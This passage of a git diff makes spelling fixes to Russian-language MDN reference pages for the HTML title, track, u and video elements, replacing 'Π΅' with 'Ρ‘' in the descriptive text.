- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚.</td>
</tr>
<tr>
@@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/title
<h3 id="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ_страницы_ΠΈ_SEO">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ страницы ΠΈ SEO</h3>
-<p>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° страницы ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²Π°ΠΆΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для поисковой ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ({{glossary("SEO")}}). Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹ΠΉ ΠΎΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅ Ρ€Π°Π½ΠΆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ({{glossary("Ranking")}}), Ρ‡Π΅ΠΌ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΈΠ»ΠΈ скучный. НС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ содСрТимоС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° являСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°ΠΌΠΈ для опрСдСлСния порядка, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ страницы Π² поисковой Π²Ρ‹Π΄Π°Ρ‡Π΅, Π½ΠΎ ΠΈ сам Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ являСтся ΠΏΡ€ΠΈΠ΅ΠΌΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Π΅Ρ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»Π΅ΠΉ Π±Π΅Π³Π»ΠΎ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ поиска.</p>
+<p>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° страницы ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²Π°ΠΆΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для поисковой ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ({{glossary("SEO")}}). Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹ΠΉ ΠΎΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅ Ρ€Π°Π½ΠΆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ({{glossary("Ranking")}}), Ρ‡Π΅ΠΌ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΈΠ»ΠΈ скучный. НС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ содСрТимоС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° являСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°ΠΌΠΈ для опрСдСлСния порядка, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ страницы Π² поисковой Π²Ρ‹Π΄Π°Ρ‡Π΅, Π½ΠΎ ΠΈ сам Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ являСтся ΠΏΡ€ΠΈΡ‘ΠΌΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Π΅Ρ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»Π΅ΠΉ Π±Π΅Π³Π»ΠΎ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ поиска.</p>
<p>НСсколько мСтодичСских Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΉ ΠΈ совСтов для составлСния Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ²:</p>
@@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/title
<p>Π’Π°ΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>title</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ описываСт Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ страницы.</p>
-<p>ΠžΠ±Ρ‹Ρ‡Π½Π°Ρ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ - ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ страницы ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΎΠ½Π° содСрТит. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ навигация ΠΏΠΎ страницС для опрСдСлСния Π΅Π΅ содСрТимого ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π½ΡΡ‚ΡŒ врСмя ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, привСсти ΠΊ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Π΅.</p>
+<p>ΠžΠ±Ρ‹Ρ‡Π½Π°Ρ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ - ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ страницы ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΎΠ½Π° содСрТит. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ навигация ΠΏΠΎ страницС для опрСдСлСния Π΅Ρ‘ содСрТимого ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π½ΡΡ‚ΡŒ врСмя ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, привСсти ΠΊ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Π΅.</p>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_2">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h3>
diff --git a/files/ru/web/html/element/track/index.html b/files/ru/web/html/element/track/index.html
index d9d7f801d6..f7d61a50c9 100644
--- a/files/ru/web/html/element/track/index.html
+++ b/files/ru/web/html/element/track/index.html
@@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/track
<li><code>subtitles</code>
<ul>
<li>Π‘ΡƒΠ±Ρ‚ΠΈΡ‚Ρ€Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ понят Π·Ρ€ΠΈΡ‚Π΅Π»Π΅ΠΌ. НапримСр, Π΄ΠΈΠ°Π»ΠΎΠ³ ΠΈΠ»ΠΈ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся английским, Π² Ρ„ΠΈΠ»ΡŒΠΌΠ΅ Π½Π° английском языкС.</li>
- <li>Π‘ΡƒΠ±Ρ‚ΠΈΡ‚Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠΏΡ€Π°Π²ΠΎΡ‡Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ. НапримСр, тСкст Π² Π½Π°Ρ‡Π°Π»Π΅ Ρ„ΠΈΠ»ΡŒΠΌΠΎΠ² Β«Π—Π²Π΅Π·Π΄Π½Ρ‹Ρ… Π²ΠΎΠΉΠ½Β» ΠΈΠ»ΠΈ Π΄Π°Ρ‚Π°, врСмя ΠΈ мСсто дСйствия сцСны.</li>
+ <li>Π‘ΡƒΠ±Ρ‚ΠΈΡ‚Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠΏΡ€Π°Π²ΠΎΡ‡Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ. НапримСр, тСкст Π² Π½Π°Ρ‡Π°Π»Π΅ Ρ„ΠΈΠ»ΡŒΠΌΠΎΠ² Β«Π—Π²Ρ‘Π·Π΄Π½Ρ‹Ρ… Π²ΠΎΠΉΠ½Β» ΠΈΠ»ΠΈ Π΄Π°Ρ‚Π°, врСмя ΠΈ мСсто дСйствия сцСны.</li>
</ul>
</li>
<li><code>captions</code>
@@ -109,7 +109,7 @@ translation_of: Web/HTML/Element/track
<h3 id="Π’ΠΈΠΏΡ‹_Π΄Π°Π½Π½Ρ‹Ρ…_Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ">Π’ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ</h3>
-<p>Π’ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Ρ€Π΅ΠΊ добавляСт Π½Π° Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒ, задаСтся Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>kind</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ значСния <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code> ΠΈΠ»ΠΈ <code>metadata</code>. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° исходный Ρ„Π°ΠΉΠ», содСрТащий синхронизированный ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ прСдоставляСт, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</p>
+<p>Π’ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Ρ€Π΅ΠΊ добавляСт Π½Π° Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒ, задаётся Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>kind</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ значСния <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code> ΠΈΠ»ΠΈ <code>metadata</code>. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° исходный Ρ„Π°ΠΉΠ», содСрТащий синхронизированный ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ прСдоставляСт, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</p>
<p>ΠžΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ <code>media</code> элСмСнт Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ элСмСнты <code>track</code> с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ значСниями <code>kind</code>, <code>srclang</code> ΠΈ <code>label</code>.</p>
diff --git a/files/ru/web/html/element/u/index.html b/files/ru/web/html/element/u/index.html
index a5df007d21..5c37e3ed2f 100644
--- a/files/ru/web/html/element/u/index.html
+++ b/files/ru/web/html/element/u/index.html
@@ -1,5 +1,5 @@
---
-title: '<u>: Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ слабой Π°Π½Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ (ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅)'
+title: '<u>: Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ слабой Π°Π½Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ (ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅)'
slug: Web/HTML/Element/u
translation_of: Web/HTML/Element/u
---
diff --git a/files/ru/web/html/element/video/index.html b/files/ru/web/html/element/video/index.html
index ba4dfabd2f..9fb3ff9fb7 100644
--- a/files/ru/web/html/element/video/index.html
+++ b/files/ru/web/html/element/video/index.html
@@ -43,10 +43,10 @@ translation_of: Web/HTML/Element/video
<dl>
<dt>{{htmlattrdef("autoplay")}}</dt>
- <dd><span id="result_box" lang="ru"><span class="hps">ЛогичСский</span> <span class="hps">Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</span><span>;</span> <span class="hps">Ссли ΡƒΠΊΠ°Π·Π°Π½,</span> Ρ‚ΠΎ <span class="hps">Π²ΠΈΠ΄Π΅ΠΎ</span> <span class="hps">Π½Π°Ρ‡Π½Π΅Ρ‚ воспроизводится </span></span><span lang="ru"><span class="hps">автоматичСски</span><span class="hps">, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ</span>Β <span class="hps">это Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π±Π΅Π·</span> <span class="hps">остановки</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ΡŒ</span> <span class="hps">Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Π΄Π°Π½Π½Ρ‹Ρ…</span><span>.</span></span></dd>
+ <dd><span id="result_box" lang="ru"><span class="hps">ЛогичСский</span> <span class="hps">Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</span><span>;</span> <span class="hps">Ссли ΡƒΠΊΠ°Π·Π°Π½,</span> Ρ‚ΠΎ <span class="hps">Π²ΠΈΠ΄Π΅ΠΎ</span> <span class="hps">Π½Π°Ρ‡Π½Ρ‘Ρ‚ воспроизводится </span></span><span lang="ru"><span class="hps">автоматичСски</span><span class="hps">, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ</span>Β <span class="hps">это Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π±Π΅Π·</span> <span class="hps">остановки</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ΡŒ</span> <span class="hps">Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Π΄Π°Π½Π½Ρ‹Ρ…</span><span>.</span></span></dd>
<dt>{{htmlattrdef("autobuffer")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>ЛогичСский Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚; Ссли ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Π²ΠΈΠ΄Π΅ΠΎ автоматичСски Π½Π°Ρ‡Π½Π΅Ρ‚ Π±ΡƒΡ„Π΅Ρ€ΠΈΠ·Π°Ρ†ΠΈΡŽ, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΎ Π½Π΅ настроСно Π½Π° автоматичСский запуск. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‡Π΅Π½ΡŒ вСроятно, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ. Π’ΠΈΠ΄Π΅ΠΎ буфСризуСтся Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ заполнится кэш ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°.
- <div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π² Ρ€Π°Π½Π½ΠΈΡ… вСрсиях HTML5 Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>autobuffer</code> присутствовал, Π² ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… выпусках ΠΎΠ½ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½. Π’Π°ΠΊΠΆΠ΅ ΠΎΠ½ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· Gecko 2.0 ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π° Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ рСализовывался. БпСцификация опрСдСляСт Π½ΠΎΠ²Ρ‹ΠΉ пСрСчислимый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>preload</code>, вмСсто <code>autobuffer</code> с Π΄Ρ€ΡƒΠ³ΠΈΠΌ синтаксисом. {{bug(548523)}}</div>
+ <dd>ЛогичСский Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚; Ссли ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Π²ΠΈΠ΄Π΅ΠΎ автоматичСски Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π±ΡƒΡ„Π΅Ρ€ΠΈΠ·Π°Ρ†ΠΈΡŽ, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΎ Π½Π΅ настроСно Π½Π° автоматичСский запуск. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‡Π΅Π½ΡŒ вСроятно, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ. Π’ΠΈΠ΄Π΅ΠΎ буфСризуСтся Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ заполнится кэш ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°.
+ <div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π² Ρ€Π°Π½Π½ΠΈΡ… вСрсиях HTML5 Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>autobuffer</code> присутствовал, Π² ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… выпусках ΠΎΠ½ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½. Π’Π°ΠΊΠΆΠ΅ ΠΎΠ½ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· Gecko 2.0 ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π° Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ рСализовывался. БпСцификация опрСдСляСт Π½ΠΎΠ²Ρ‹ΠΉ пСрСчислимый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>preload</code>, вмСсто <code>autobuffer</code> с Π΄Ρ€ΡƒΠ³ΠΈΠΌ синтаксисом. {{bug(548523)}}</div>
</dd>
<dt>{{htmlattrdef("buffered")}}</dt>
<dd>Атрибут для опрСдСлСния Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…Β Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΎΠ²Β Π±ΡƒΡ„Π΅Ρ€ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… носитСлСй. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("TimeRanges")}}.</dd>
@@ -64,13 +64,13 @@ translation_of: Web/HTML/Element/video
<dt>{{htmlattrdef("height")}}</dt>
<dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Высота</span> <span class="hps">области отобраТСния</span> <span class="hps">Π²ΠΈΠ΄Π΅ΠΎ</span>Β <span class="hps">Π²</span>Β <span class="hps">пиксСлях</span><span>.</span></span></dd>
<dt>{{htmlattrdef("loop")}}</dt>
- <dd><span id="result_box" lang="ru"><span class="hps">ЛогичСский</span> <span class="hps">Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</span><span>;</span> <span class="hps">Ссли ΡƒΠΊΠ°Π·Π°Π½,</span> Ρ‚ΠΎ <span class="hps">ΠΏΠΎ ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΡŽ проигрывания,</span> <span class="hps">Π²ΠΈΠ΄Π΅ΠΎ</span> <span class="hps">автоматичСски</span> Π½Π°Ρ‡Π½Π΅Ρ‚ воспроизвСдСниС с Π½Π°Ρ‡Π°Π»Π°<span class="hps">.</span></span></dd>
+ <dd><span id="result_box" lang="ru"><span class="hps">ЛогичСский</span> <span class="hps">Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</span><span>;</span> <span class="hps">Ссли ΡƒΠΊΠ°Π·Π°Π½,</span> Ρ‚ΠΎ <span class="hps">ΠΏΠΎ ΠΎΠΊΠΎΠ½Ρ‡Π°Π½ΠΈΡŽ проигрывания,</span> <span class="hps">Π²ΠΈΠ΄Π΅ΠΎ</span> <span class="hps">автоматичСски</span> Π½Π°Ρ‡Π½Ρ‘Ρ‚ воспроизвСдСниС с Π½Π°Ρ‡Π°Π»Π°<span class="hps">.</span></span></dd>
<dt>{{htmlattrdef("muted")}}</dt>
